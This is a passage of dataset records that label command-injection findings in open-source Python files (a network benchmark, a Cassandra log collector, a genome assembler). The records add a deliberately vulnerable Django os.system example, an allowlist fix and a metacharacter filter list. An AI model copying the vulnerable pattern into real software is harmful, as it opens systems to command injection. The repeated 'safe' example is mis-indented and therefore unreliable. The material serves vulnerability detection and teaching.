-J\"\ndef run_iperf_test(filter, nrules, mode):\n flags = \"\"\n if mode == \"udp\":\n flags = \"-u -l 1470 -b {}\".format(bandwidth)\n\n if filter == \"calico\" or filter == \"cilium\":\n iperf_cmd = iperf_cmd_format_for_k8s.format(server=args.server, mode_flags=flags)\n out = run_on_k8s(filter, nrules, iperf_cmd)\n if not out:\n return None\n out = get_output(\"egress-benchmark\")\n if not out:\n return None\n else:\n iperf_cmd = iperf_cmd_format.format(server=args.server, mode_flags=flags)\n run_in_client(\"docker rm --force iperfclient || true\")\n out = run_test(filter, nrules, iperf_cmd)\n if not out:\n return None\n #print(\"out is: \" + out)\n index = out.find(\"{\")\n if index == -1:\n return None\n j = json.loads(out[index:])\n\n if mode == \"udp\":\n key = \"sum\"\n elif mode == \"tcp\":\n key = \"sum_received\"\n\n throughput = float((j[\"end\"][key][\"bits_per_second\"]))/(10**9)\n cpu = float(j[\"end\"][\"cpu_utilization_percent\"][\"host_total\"])\n\n return (throughput, cpu)\n\nping_cmd_format = \"ping -i {interval} -c {count} {dest}\"\ndef run_ping_test(filter, nrules, mode):\n cmd = ping_cmd_format.format(interval=ping_interval, count=ping_count, dest=args.server)\n\n if filter == \"calico\" or filter == \"cilium\":\n result = run_on_k8s(filter, nrules, cmd)\n if not result:\n return None\n result = get_output(\"egress-benchmark\")\n if not result:\n return None\n else:\n result = run_test(filter, nrules, cmd)\n #print(\"result is ---\" + result)\n if not result:\n return None\n parser = pingparsing.PingParsing()\n stats = parser.parse(result)\n return stats.rtt_avg\n\ndef start_iperf_server():\n run_in_server(\"docker rm --force iperfserver || true\")\n run_in_server(\"docker run --name iperfserver -d --net=host networkstatic/iperf3 -s -A 2\")\n time.sleep(2)\n\ndef copy_benchmark_to_client():\n cmd = \"scp benchmark {}@{}:\".format(args.username, args.client)\n subprocess.run(cmd, stdout=subprocess.PIPE, shell=True)\n\ndef run_in_client(cmd):\n return run_over_ssh(args.client, cmd)\n\ndef run_in_server(cmd):\n return run_over_ssh(args.server, cmd)\n\ndef run_over_ssh(host, cmd):\n cmd_to_run = 'ssh {}@{} \"{}\"'.format(args.username, host, cmd)\n result = subprocess.run(cmd_to_run, stdout=subprocess.PIPE, shell=True)\n if result.returncode != 0:\n return None\n return result.stdout.decode(\"utf-8\")\n\ndef write_csv(filename, data):\n with open(filename, \"w\", newline=\"\") as csvfile:\n writer = csv.writer(csvfile, delimiter=\"\\t\",\n quotechar=\";\", quoting=csv.QUOTE_MINIMAL)\n writer.writerow([\"Filter\", \"Rules\"] + [\"r\"+str(i) for i in range(1, iterations+1)])\n for (filter_name, filter_data) in data.items():\n for (rules_number, results) in filter_data.items():\n writer.writerow([filter_name, rules_number] + results)\n\n# [filter][rules_number][run]\ndata_throughput = {}\ndata_cpu = {}\ndata_ping = {}\ndata_setup = {}\n\ncopy_benchmark_to_client()\nstart_iperf_server()\n\nprint(\"%\\tfilter\\tnrules\\titeration\\tthroughput\\tcpu\\tping\\t\")\n\nnumber_of_tests = len(filters)*len(number_rules)*iterations\nnumber_of_tests_executed = 0\n\n# run the tests and collect all the data\nfor (filter_index, filter) in enumerate(filters):\n data_throughput[filter] = {}\n data_cpu[filter] = {}\n data_ping[filter] = {}\n data_setup[filter] = {}\n\n for (rules_index, n) in enumerate(number_rules):\n data_throughput[filter][n] = []\n data_cpu[filter][n] = []\n data_ping[filter][n] = []\n data_setup[filter][n] = []\n\n for i in range(iterations):\n percentage = 100.0*float(number_of_tests_executed)/number_of_tests\n print(\"{:1.0f}\\t{}\\t{}\\t{}\\t\".format(percentage, filter, n, i), end=\"\")\n\n if filter == \"calico\" or filter == \"cilium\":\n delete_benchmark_pod(\"egress-benchmark\")\n out = run_iperf_test(filter, n, args.mode)\n if not out:\n print(\"Testing iperf for {}:{}:{} failed\".format(filter, n, i))\n continue\n\n if filter == \"calico\" or filter == \"cilium\":\n delete_benchmark_pod(\"egress-benchmark\")\n out_ping = run_ping_test(filter, n, args.mode)\n if not out_ping:\n print(\"Testing ping for {}:{}:{} failed\".format(filter, n, i))\n continue\n out_ping = 1000*out_ping\n\n if filter == \"calico\" or filter == \"cilium\":\n delete_benchmark_pod(\"egress-benchmark\")\n setup = run_on_k8s(filter, n, \"MEASURE_SETUP_TIME\")\n setup = get_output(\"egress-benchmark\")\n else:\n setup = run_test(filter, n, \"MEASURE_SETUP_TIME\")\n if not setup:\n print(\"Testing setup for {}:{}:{} failed\".format(filter, n, i))\n continue\n setup = int(setup)/1000\n print(\"{}\\t{}\\t{}\\t{}\".format(out[0], out[1], out_ping, setup))\n number_of_tests_executed += 1\n\n data_throughput[filter][n].append(out[0])\n data_cpu[filter][n].append(out[1])\n data_ping[filter][n].append(out_ping)\n data_setup[filter][n].append(setup)\n\nwrite_csv(\"throughput.csv\", data_throughput)\nwrite_csv(\"cpu.csv\", data_cpu)\nwrite_csv(\"latency.csv\", data_ping)\nwrite_csv(\"setup.csv\", data_setup)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 36, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "93fa62cd9aa139be56cf336de23819872eb9c309fc01a8b222d1a6f572ab793b", "license": {"spdx": ["Apache-2.0"], "repo": "Anant/cassandra.vision", "path": "cassandra-analyzer/offline-log-collector/collect_logs.py", "repo_head_hexsha": "7e57c2b23483cdaae0d23d1d02f8c635d936fd3a", "stack_hexsha": "fbd5860322bb52930dd7967274aa910dd05fc71c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 133, "entireCode": "import argparse\nimport os\nimport shutil\nimport yaml\nimport subprocess\nfrom pathlib import Path\nfrom copy import deepcopy\nimport zipfile\nimport tarfile\nimport fnmatch\nfrom datetime import datetime\nimport sys\nfrom helper_classes.node import Node\nimport stat\n\n# TODO rename to `offline_log_collector_path`\nproject_root_path = os.path.dirname(os.path.realpath(__file__))\nrepo_path = f\"{project_root_path}/../..\"\nnode_analyzer_path = f\"{project_root_path}/NodeAnalyzer\"\ntable_analyzer_path = f\"{project_root_path}/TableAnalyzer\"\ndefault_settings_yml_path = os.path.join(project_root_path, \"config/settings.yaml\")\ndefault_environments_yml_path = os.path.join(project_root_path, \"config/environments.yaml\")\n\n# access TableAnalyzer class and related helpers\nsys.path.insert(0, table_analyzer_path)\n\n# not using for now, just running as a command line script for easy args sending\n# from cfstats.receive import main as run_table_analyzer_main\n# gets ssh key or cassandra/spark hosts from our environments.yml file\n# `config` is a module in TableAnalyzer package\nfrom config import get_keys\n\ntarballs_to_ingest_dir_path = f\"{project_root_path}/../offline-log-ingester/log-tarballs-to-ingest\"\n\nconfig_path_defaults = {\n \"dse\": \"/etc/dse/cassandra/\",\n # https://cassandra.apache.org/doc/latest/getting_started/configuring.html\n # depends on installation type:\n # - tarball: `conf` directory within the tarball install location\n # - package: /etc/cassandra directory\n # we'll use package defaults\n \"cassandra\": \"/etc/cassandra\"\n}\n\nlog_path_defaults = {\n \"dse\": \"/var/log/cassandra/\",\n \"cassandra\": \"/var/log/cassandra/\",\n}\n\nclass CollectLogs:\n \"\"\"\n Class to model the task of generating a tarball of C* logs from multiple hosts\n - tarball directory format is consistent with what we get from DSE, though it adds more (e.g., gc logs)\n - Works on OSS C* and DSE nodes\n - compiles logs from multiple hosts into a single tarball\n - includes output of NodeAnalyzer/TableAnalyzer tools (which themselves are simply running a series of nodetool commands on each node, as well as gathering logs)\n \"\"\"\n client_name = \"\"\n tarball_filename = \"\"\n\n # list of strings extracted from environments.yaml\n regions = []\n # dict, with keys being regions, and values list of strings extracted from environments.yaml\n datacenters_by_region = {}\n\n all_nodes = []\n cassandra_nodes = []\n spark_nodes = []\n\n # whatever directory was archived\n archived_dir_name = \"\"\n\n debug_mode = False\n\n def __init__(self, client_name, **kwargs):\n\n # the name of the client (or some sort of human readable identifier for them), e.g., example-company\n self.client_name = client_name\n\n # where we will set the logs for this client (so each client has their own dir)\n time_for_dir = datetime.now().strftime(\"%m%d%YT%H%M%S\")\n\n # where we will stage the directory that will be archived before archiving it\n self.base_filepath_for_logs = f\"{tarballs_to_ingest_dir_path}/tmp/\"\n\n # name of the directory that will be archived\n self.archived_dir_name = f\"{self.client_name}\"\n\n self.archived_dir = os.path.join(self.base_filepath_for_logs, self.archived_dir_name)\n\n # wha the tarball will be called\n self.tarball_filename = kwargs.get(\"tarball_filename\", f\"{self.archived_dir_name}.tar.gz\")\n if self.tarball_filename is None:\n self.tarball_filename = f\"{self.archived_dir_name}.tar.gz\"\n\n # absolute path to the tar ball\n self.tarball_path = f\"{tarballs_to_ingest_dir_path}/{self.tarball_filename}\"\n\n # there should be a parent directory called \"nodes\" where all the nodes live\n self.nodes_dir = f\"{self.base_filepath_for_logs}/nodes\"\n\n ##################\n # other options\n ##################\n self.clean_up_on_finish = kwargs.get(\"clean_up_on_finish\", False)\n\n # expanding tilde to the home dir automatically, in case they specify using path from home dir\n self.path_to_settings_file = os.path.expanduser(kwargs.get(\"path_to_settings_file\", default_settings_yml_path))\n self.path_to_environments_file = os.path.expanduser(kwargs.get(\"path_to_environments_file\", default_environments_yml_path))\n self.skip_node_analyzer = kwargs.get(\"skip_node_analyzer\", False)\n self.skip_table_analyzer = kwargs.get(\"skip_table_analyzer\", False)\n\n ###################################################\n # helpers\n ###################################################\n\n def run_table_analyzer(self, region, environment, node_type):\n \"\"\"\n runs table analyzer to get data we need\n - usage: python3 cfstats.receive.py {region} {environment} {db} {0|1} (debug) [-k] (keyspace) [-t] (table)\n * However, `db` var is either \"spark\" or \"cassandra\", so calling that node_type here\n * `environment` is something like a datacenter name\n - after running, will have a file in {project_root}/data/{region}/{environment}/ for each node, called \".txt\" (e.g., 1.2.3.4.txt)\n \"\"\"\n\n # is either cassandra or spark. Note that TableAnalyzer sometimes calls db \"db\" and sometimes \"datacenter\"\n\n cmd_base = f\"python3 {table_analyzer_path}/cfstats.receive.py\"\n cmd_with_args = f\"{cmd_base} {region} {environment} {node_type} 1\"\n print(\"Now running TableAnalyzer:\", cmd_with_args)\n print(\"--- TableAnalyzer output ---\")\n try:\n subprocess.run(cmd_with_args, shell=True, check = True)\n except subprocess.CalledProcessError as e:\n # throwing anyways\n raise e\n\n print(\"--- (end of TableAnalyzer output) ---\")\n\n # NOTE not using currently. Only if we want all files everywhere. Currently we're just targeting the /logs dir\n # TODO remove\n def position_log_files_for_node(self, hostname, log_type_def, **kwargs):\n \"\"\"\n For a directory that contains logs for a single node and a single log_type_def of that node:\n put to each individual log files that were extracted from the tarball into the place they should go\n - just goes into /logs/cassandra (or whatever our self.path_to_cassandra_logs is) and grabs those logs\n \"\"\"\n \n def read_settings_yml(self):\n \"\"\"\n parses out the settings.yaml File\n - TODOs\n * if we want more granular control, could allow a path_to_logs and path_to_conf in node_settings as well, so can set per node\n \"\"\"\n settings_yml_dict = {} \n try:\n with open(self.path_to_settings_file, 'r') as stream:\n # convert to dict\n # no need to load, so just safe_load\n settings_yml_dict = yaml.safe_load(stream)\n\n except FileNotFoundError as e:\n print(e)\n print(\"No settings.yaml found; using defaults\")\n\n except yaml.YAMLError as e:\n print(e)\n print(\"bad yaml, raise this one\")\n raise e\n\n # support setting some of these paths and not others. E.g., if they set log paths and not configs\n cluster_settings = settings_yml_dict.get(\"cluster_settings\", {})\n\n # default settings for nodes in this cluster\n self.node_defaults = cluster_settings.get(\"node_defaults\", {})\n\n # what cassandra distribution this cluster is running. default to oss cassandra\n self.cassandra_distribution = cluster_settings.get(\"cassandra_distribution\", \"cassandra\")\n\n default_log_path = log_path_defaults[self.cassandra_distribution]\n default_config_path = config_path_defaults[self.cassandra_distribution]\n\n # these will be a list of strings representing paths\n print(\"setting log and config paths\")\n self.all_log_paths = cluster_settings.get(\"paths_to_logs\", [default_log_path])\n self.all_config_paths = cluster_settings.get(\"paths_to_configs\", [default_config_path])\n\n self.settings_by_node = settings_yml_dict.get(\"settings_by_node\", {})\n\n def read_environments_yml(self):\n \"\"\"\n reads environments.yaml file and extracts information about the hosts and ssh keys to access them. Also instantiates our Node class for each node\n - Currently only supports a file at {project_root}/config/environments.yaml (following the convention set by TableAnalyzer tool)\n - TODO add support for specifying a different path/filename\n \"\"\"\n with open(self.path_to_environments_file, 'r') as stream:\n try:\n # convert to dict\n # no need to load, so just safe_load\n self.environments_yml_dict = yaml.safe_load(stream)\n\n except yaml.YAMLError as e:\n print(e)\n # for now just throwing anyways. If it doesn't generate, we don't want it to run\n raise e\n\n\n # iterate over the yml and get out the data we want\n print(self.environments_yml_dict)\n for region, datacenters in self.environments_yml_dict.items():\n self.regions.append(region)\n\n # db should be \"spark\" or \"cassandra\"\n for datacenter_name, data_for_datacenter in datacenters.items():\n if self.datacenters_by_region.get(region, None) is None:\n self.datacenters_by_region[region] = []\n\n self.datacenters_by_region[region].append(datacenter_name)\n\n # this is filename of ssh key for this environment in this region\n # for TableAnalyzer to work, needs to be in ./keys/, relative to PWD (so in this directory actually)\n ssh_key_for_dc = data_for_datacenter.get(\"key\", \"\")\n\n nodes_by_hostname = {}\n\n # iterate over cassandra and spark nodes. Note that if one node has both, this script will overwrite the same data///.txt file on the 2nd call, but that's ok, the info should be identical. \n # this is to make sure that all nodes have nodetool ran on them\n for node_type in [\"cassandra\", \"spark\"]:\n hostnames = data_for_datacenter.get(node_type, [])\n print(\"hostnames for region \", region, \"and datacenter\", datacenter_name)\n print(hostnames)\n\n for hostname in hostnames:\n # set to existing node if exists\n node = nodes_by_hostname.get(hostname, None)\n if node is None:\n # if not, make one\n\n # right now no defaults\n defaults = {**self.node_defaults}\n\n # merge in settings for node set by settings.yaml\n settings_for_node = self.settings_by_node.get(hostname, {})\n options = {**defaults, **settings_for_node}\n\n node = Node(\n region=region,\n hostname=hostname, \n datacenter_name=datacenter_name,\n ssh_key=ssh_key_for_dc,\n all_log_paths=self.all_log_paths,\n all_config_paths=self.all_config_paths,\n job_archived_dir=self.archived_dir,\n project_root_path=project_root_path,\n **options\n )\n\n nodes_by_hostname[hostname] = node\n self.all_nodes.append(node)\n\n\n if node_type == \"spark\":\n node.has_spark = True\n self.spark_nodes.append(node)\n\n elif node_type == \"cassandra\":\n node.has_cassandra = True\n self.cassandra_nodes.append(node)\n\n ###################################################\n # the operations we run when ingesting the tarball\n ###################################################\n\n\n def parse_settings(self):\n \"\"\"\n reads the yaml files and gathers the settings we need. \n - if there is no environments settings yaml, uses defaults. \n - environments.yaml is required though\n \"\"\"\n # do this one first, so paths are initialized\n self.read_settings_yml()\n\n self.read_environments_yml()\n\n def analyze_cluster(self):\n \"\"\"\n iterate over each region, and each datacenter within each region, and each node within each data center\n for each, run TableAnalyzer's nodetool.receive.v2.sh script\n \"\"\"\n # run TableAnalyzer on each datacenter in each region\n for region in self.regions:\n for datacenter_name in self.datacenters_by_region[region]:\n for node_type in [\"cassandra\", \"spark\"]:\n self.run_table_analyzer(region, datacenter_name, node_type)\n\n def add_additional_nodes(self):\n \"\"\"\n if nodetool status found other ip addresses, add those nodes to our self.all_nodes and self.cassandra_nodes\n first, parse .txt file that TableAnalyzer made\n \"\"\"\n # TODO checkout detectTopology flag in TableAnalyzer/cfstats.receive.py for what is already ran. Maybe just get output from there somehow. Could write a file from within TableAnalyzer, so can access that file. Or make the detectToplogy part a method and import that method using python directly\n pass\n\n\n def analyze_each_node(self):\n \"\"\"\n iterate over each node in the cluster, and run NodeAnalyzer tool\n Will write files to ./data dir also\n TODO do for Spark also\n \"\"\"\n for node in self.cassandra_nodes:\n print(\"getting logs and nodetool data from\", node.hostname)\n node.run_node_analyzer(node_analyzer_path)\n\n # node analyzer seems to make the data dir owned by root. need to chown TODO\n\n def create_dirs_for_hosts(self):\n \"\"\"\n iterate over all hostnames, and create one directory for each in the directory that we're going to archive\n - Only doing cassandra for now; add spark nodes later\n - NOTE might not be necessary, since we use shutil.copytree later, and that creates directories recursively for us\n\n TODO do for Spark also\n \"\"\"\n for node in self.cassandra_nodes:\n # make sure the directory exists\n Path(f\"{node.final_position_dir}\").mkdir(parents=True, exist_ok=True)\n Path(f\"{node.final_position_dir}/table-analyzer-output\").mkdir(parents=True, exist_ok=True)\n\n def position_files(self):\n \"\"\"\n put all log, conf, nodetool output, and tableanalyzer files where we want them so they're ready to be archived\n - copies from the dir where we outputted all of our data gathering to the directory that will be archived\n\n TODO do for Spark also\n \"\"\"\n for node in self.cassandra_nodes:\n node.copy_files_to_final_destination()\n\n def compress_into_tarball(self):\n \"\"\"\n compress all data into a single tarball\n place tarball in tarball_path, where it will be ready to be read by IngestTarball class\n \"\"\"\n with tarfile.open(self.tarball_path, \"w:gz\") as tar:\n print(\"making tarball from\", self.archived_dir)\n print(\"writing tarball to\", self.tarball_path)\n tar.add(self.archived_dir, arcname=os.path.basename(self.archived_dir))\n\n\n\n def cleanup(self, successful):\n \"\"\"\n Does whatever needs to be done after the job is successful, or after the job failed for that matter\n \"\"\"\n\n if successful:\n if self.clean_up_on_finish:\n\n # remove everything we generated using this script except the tarball\n shutil.rmtree(self.base_filepath_for_logs)\n\n # TODO this is owned by root, and giving file permissions errors. Do later\n # shutil.rmtree(os.path.join(project_root_path, \"data\"))\n\n else:\n # this is it for now\n print(\"failed to collect logs and create tarball for logs\")\n\n ###################################################\n # do it all\n ###################################################\n def run(self):\n successful = False\n try:\n print(\"\\n=== Parsing Settings ===\")\n self.parse_settings()\n\n if (self.skip_table_analyzer):\n print(\"\\n=== (skipping TableAnalyzer for this run) ===\")\n # skip this whole step for now, since this only does table analyzer\n else:\n print(\"\\n=== Get table stats and place in tmp directory ===\")\n self.analyze_cluster()\n\n print(\"\\n=== Add nodes found by `nodetool status` ===\")\n # TODO not yet doing anything\n self.add_additional_nodes()\n\n if self.skip_node_analyzer:\n print(\"\\n=== (skipping NodeAnalyzer for this run) ===\")\n else:\n print(\"\\n=== Get logs and nodetool data from each node and place in tmp directory ===\")\n self.analyze_each_node()\n\n print(\"\\n=== Creating directory for each host ===\")\n self.create_dirs_for_hosts()\n\n print(\"\\n=== Positioning files (to get ready to be archived) ===\")\n self.position_files()\n\n print(\"\\n=== Compressing into tarball ===\")\n self.compress_into_tarball()\n\n successful = True\n\n except Exception as e:\n # currently not catching\n successful = False\n raise e\n\n # no matter what, cleanup\n print(\"=== Cleaning up ===\")\n self.cleanup(successful)\n\n if successful:\n print(\"Success.\")\n\nif __name__ == '__main__':\n \"\"\"\n Instructions:\n\n 1) specify your hosts and ssh keys in a `environments.yaml` file\n - Find template at: ./config-templates/environments-sample.yaml\n - Template should be identical to TableAnalyzer yaml. Note that currently we are currently calling TableAnalyzer/cfstats.receive.py in this script, so to maintain compatibility need to use exact same format for the environments_yml. \n\n 2) unless cassandra logs are anywhere besides the defaults (see below) specify settings in settings.yaml\n - find template for environment-settings.yaml at ./config-templates/settings.sample.yaml\n - In that case, specify the path to your logs directory, as shown in the environments-sample.yaml file. \n * If all hosts have files in the same place, you can specify by using\n 2) name file and place at default location, {project_root_path}/config/environments.yaml\n 3) Pass in arbitrary string to call your company. Call like:\n python3 collect_logs.py my-company\n \"\"\"\n\n parser = argparse.ArgumentParser(\n description='Converting Stats Form TXT TO CSV Format',\n usage='{company_name}')\n parser.add_argument('client_name', type=str, help='name of client')\n parser.add_argument('--tarball-filename', dest=\"tarball_filename\", type=str, help='name you want for archive file (e.g., tarball-for-my-client.tar.gz). Can be .tar.gz or .zip')\n # will just use whatever we name the dir we archive, and it will be a tarball, not a .zip\n parser.set_defaults(tarball_filename=None)\n parser.add_argument('--cleanup-on-finish', dest='clean_up_on_finish', action='store_true', help=\"If runs successfully, clears out everything created except for the new tarball\")\n parser.add_argument('--settings-file', dest='path_to_settings_file', action='store_true', help=\"path to settings file. Defaults to config/settings.yaml\")\n parser.set_defaults(path_to_settings_file=default_settings_yml_path)\n\n parser.add_argument('--environments-file', dest='path_to_environments_file', action='store_true', help=\"path to environments file. Defaults to config/environments.yaml\")\n parser.add_argument('--skip-table-analyzer', dest='skip_table_analyzer', action='store_true', help=\"if set, will not run TableAnalyzer receive\")\n parser.add_argument('--skip-node-analyzer', dest='skip_node_analyzer', action='store_true', help=\"if set, will not run NodeAnalyzer commands\")\n parser.set_defaults(path_to_environments_file=default_environments_yml_path)\n\n args = parser.parse_args()\n\n options = {\n \"clean_up_on_finish\": args.clean_up_on_finish,\n \"tarball_filename\": args.tarball_filename,\n \"path_to_settings_file\": args.path_to_settings_file,\n \"path_to_environments_file\": args.path_to_environments_file,\n \"skip_node_analyzer\": args.skip_node_analyzer,\n \"skip_table_analyzer\": args.skip_table_analyzer,\n }\n\n collectLogs = CollectLogs(args.client_name, **options)\n collectLogs.run()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 133, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "b6418f076bd18fb800b4c3db9b2a7a0c06ae2130a8abc6b3261ed36133091245", "license": {"spdx": ["BSD-2-Clause"], "repo": "dominik-handler/TELR", "path": "src/telr/TELR_assembly.py", "repo_head_hexsha": "3e34e54fc959c13fa45dc911facf0d5179fbb34b", "stack_hexsha": "8a8db025d17d202dce4f03767b8394c4ff63db8d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 214, "entireCode": "import sys\nimport os\nimport subprocess\nimport shutil\nimport time\nimport logging\nfrom Bio import SeqIO\nfrom multiprocessing import Pool\nimport pysam\nfrom telr.TELR_utility import mkdir, check_exist, format_time\n\n\ndef get_local_contigs(\n assembler,\n polisher,\n contig_dir,\n vcf_parsed,\n out,\n sample_name,\n bam,\n raw_reads,\n thread,\n presets,\n polish_iterations,\n):\n \"\"\"Perform local assembly using reads from parsed VCF file in parallel\"\"\"\n\n # Prepare reads used for local assembly and polishing\n sv_reads_dir = os.path.join(out, \"sv_reads\")\n\n try:\n prep_assembly_inputs(\n vcf_parsed, out, sample_name, bam, raw_reads, sv_reads_dir, read_type=\"sv\"\n )\n except Exception as e:\n print(e)\n print(\"Prepare local assembly input data failed, exiting...\")\n sys.exit(1)\n\n mkdir(contig_dir)\n\n k = 0\n asm_pa_list = []\n with open(vcf_parsed, \"r\") as input:\n for line in input:\n entry = line.replace(\"\\n\", \"\").split(\"\\t\")\n contig_name = \"_\".join([entry[0], entry[1], entry[2]])\n # rename variant reads\n sv_reads = sv_reads_dir + \"/contig\" + str(k)\n sv_reads_rename = sv_reads_dir + \"/\" + contig_name + \".reads.fa\"\n os.rename(sv_reads, sv_reads_rename)\n thread_asm = 1\n asm_pa = [\n sv_reads_rename,\n contig_dir,\n contig_name,\n thread_asm,\n presets,\n assembler,\n polisher,\n polish_iterations,\n ]\n asm_pa_list.append(asm_pa)\n k = k + 1\n # run assembly in parallel\n logging.info(\"Perform local assembly of non-reference TE loci...\")\n start_time = time.time()\n\n try:\n pool = Pool(processes=thread)\n contig_list = pool.map(run_assembly_polishing, asm_pa_list)\n pool.close()\n pool.join()\n except Exception as e:\n print(e)\n print(\"Local assembly failed, exiting...\")\n sys.exit(1)\n\n proc_time = time.time() - start_time\n\n # merge all contigs\n assembly_passed_loci = set()\n merged_contigs = os.path.join(out, sample_name + \".contigs.fa\")\n with open(merged_contigs, \"w\") as merged_output_handle:\n for contig in contig_list:\n if check_exist(contig):\n contig_name = os.path.basename(contig).replace(\".cns.fa\", \"\")\n assembly_passed_loci.add(contig_name)\n parsed_contig = os.path.join(contig_dir, contig_name + \".cns.ctg1.fa\")\n with open(contig, \"r\") as input:\n records = SeqIO.parse(input, \"fasta\")\n for record in records:\n if record.id == \"ctg1\" or record.id == \"contig_1\":\n record.id = contig_name\n record.description = \"len=\" + str(len(record.seq))\n SeqIO.write(record, merged_output_handle, \"fasta\")\n with open(parsed_contig, \"w\") as parsed_output_handle:\n SeqIO.write(record, parsed_output_handle, \"fasta\")\n\n logging.info(\"Local assembly finished in \" + format_time(proc_time))\n return merged_contigs, assembly_passed_loci\n\n\ndef run_assembly_polishing(args):\n reads = args[0]\n asm_dir = args[1]\n contig_name = args[2]\n thread = args[3]\n presets = args[4]\n assembler = args[5]\n polisher = args[6]\n polish_iterations = args[7]\n\n # run assembly\n if assembler == \"wtdbg2\":\n asm_cns = run_wtdbg2_assembly(reads, asm_dir, contig_name, thread, presets)\n else:\n asm_cns = run_flye_assembly(reads, asm_dir, contig_name, thread, presets)\n\n if not check_exist(asm_cns):\n print(\"assembly failed\")\n return None\n\n # run polishing\n if polish_iterations > 0:\n if polisher == \"wtdbg2\":\n asm_cns = run_wtdbg2_polishing(\n asm_cns, reads, thread, polish_iterations, presets\n )\n else:\n asm_cns = run_flye_polishing(\n asm_cns, reads, asm_dir, contig_name, thread, polish_iterations, presets\n )\n\n if check_exist(asm_cns):\n return asm_cns\n else:\n return None\n\n\ndef run_flye_polishing(\n asm_cns, reads, asm_dir, contig_name, thread, polish_iterations, presets\n):\n \"\"\"Run Flye polishing\"\"\"\n if presets == \"pacbio\":\n presets_flye = \"--pacbio-raw\"\n else:\n presets_flye = \"--nano-raw\"\n\n tmp_out_dir = os.path.join(asm_dir, contig_name)\n mkdir(tmp_out_dir)\n try:\n subprocess.call(\n [\n \"flye\",\n \"--polish-target\",\n asm_cns,\n presets_flye,\n reads,\n \"--out-dir\",\n tmp_out_dir,\n \"--thread\",\n str(thread),\n \"--iterations\",\n str(polish_iterations),\n ]\n )\n except Exception as e:\n print(e)\n print(\"Polishing failed, exiting...\")\n return None\n\n # rename contig file\n polished_contig = os.path.join(\n tmp_out_dir, \"polished_\" + str(polish_iterations) + \".fasta\"\n )\n if check_exist(polished_contig):\n os.rename(polished_contig, asm_cns)\n shutil.rmtree(tmp_out_dir)\n return asm_cns\n else:\n return None\n\n\ndef run_wtdbg2_polishing(asm_cns, reads, threads, polish_iterations, presets):\n \"\"\"Run wtdbg2 polishing\"\"\"\n if presets == \"pacbio\":\n presets_minimap2 = \"map-pb\"\n else:\n presets_minimap2 = \"map-ont\"\n\n # polish consensus\n threads = str(min(threads, 4))\n bam = asm_cns + \".bam\"\n k = 0\n while True:\n # align reads to contigs\n\n command = (\n \"minimap2 -t \"\n + threads\n + \" -ax \"\n + presets_minimap2\n + \" -r2k \"\n + asm_cns\n + \" \"\n + reads\n + \" | samtools sort -@\"\n + threads\n + \" > \"\n + bam\n )\n try:\n subprocess.run(\n command,\n shell=True,\n timeout=300,\n stdout=subprocess.DEVNULL,\n stderr=subprocess.STDOUT,\n )\n except subprocess.TimeoutExpired:\n print(\"fail to map reads to contig: \" + asm_cns)\n return\n\n # run wtpoa-cns to get polished contig\n cns_tmp = asm_cns + \".tmp\"\n command = (\n \"samtools view -F0x900 \"\n + bam\n + \" | wtpoa-cns -t \"\n + threads\n + \" -d \"\n + asm_cns\n + \" -i - -fo \"\n + cns_tmp\n )\n try:\n subprocess.run(\n command,\n shell=True,\n timeout=300,\n stdout=subprocess.DEVNULL,\n stderr=subprocess.STDOUT,\n )\n except subprocess.TimeoutExpired:\n print(\"fail to polish contig: \" 